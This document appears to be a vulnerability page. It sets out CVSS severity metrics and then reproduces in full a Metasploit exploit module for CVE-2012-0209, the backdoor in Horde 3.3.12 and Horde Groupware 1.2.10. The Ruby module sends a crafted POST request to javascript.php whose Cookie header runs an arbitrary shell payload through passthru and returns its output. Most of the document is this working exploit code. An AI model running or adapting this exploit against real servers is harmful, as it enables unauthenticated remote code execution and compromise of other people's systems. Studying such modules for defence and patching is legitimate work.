The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution',
'Description' => %q{
This module exploits an arbitrary PHP code execution vulnerability introduced
as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.
},
'Author' => [
'Eric Romang', # first public PoC
'jduck' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-0209'],
[ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ],
[ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ]
],
'Privileged' => false,
'Payload' =>
{
'BadChars' => "\x0a\x0d",
'DisableNops' => true,
'Space' => 4096,
'Compat' =>
{
'PayloadType' => 'cmd',
}
},
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'DefaultTarget' => 0,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Feb 13 2012'
))
register_options(
[
OptString.new('URI', [true, "Path to Horde installation", "/horde"]),
OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]),
], self.class)
end
def exploit
# Make sure the URI begins with a slash
uri = datastore['URI']
if uri[0,1] != '/'
uri = '/' + uri
end
# Make sure the URI ends without a slash, because it's already part of the URI
if uri[-1, 1] == '/'
uri = uri[0, uri.length-1]
end
function = "passthru"
key = Rex::Text.rand_text_alpha(6)
arguments = "echo #{key}`"+payload.raw+"`#{key}"
res = send_request_cgi({
'uri' => uri + "/services/javascript.php",
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'data' => "app="+datastore['APP']+"&file=open_calendar.js",
'headers' =>
{
'Cookie' => "href="+function+":"+arguments,
'Connection' => 'Close',
}
}) #default timeout, we don't care about the response
if (res)
print_status("The server returned: #{res.code} #{res.message}")
end
resp = res.body.split(key)
if resp and resp[1]
print_status(resp[1])
else
print_error("No response found")
end
handler
end
end
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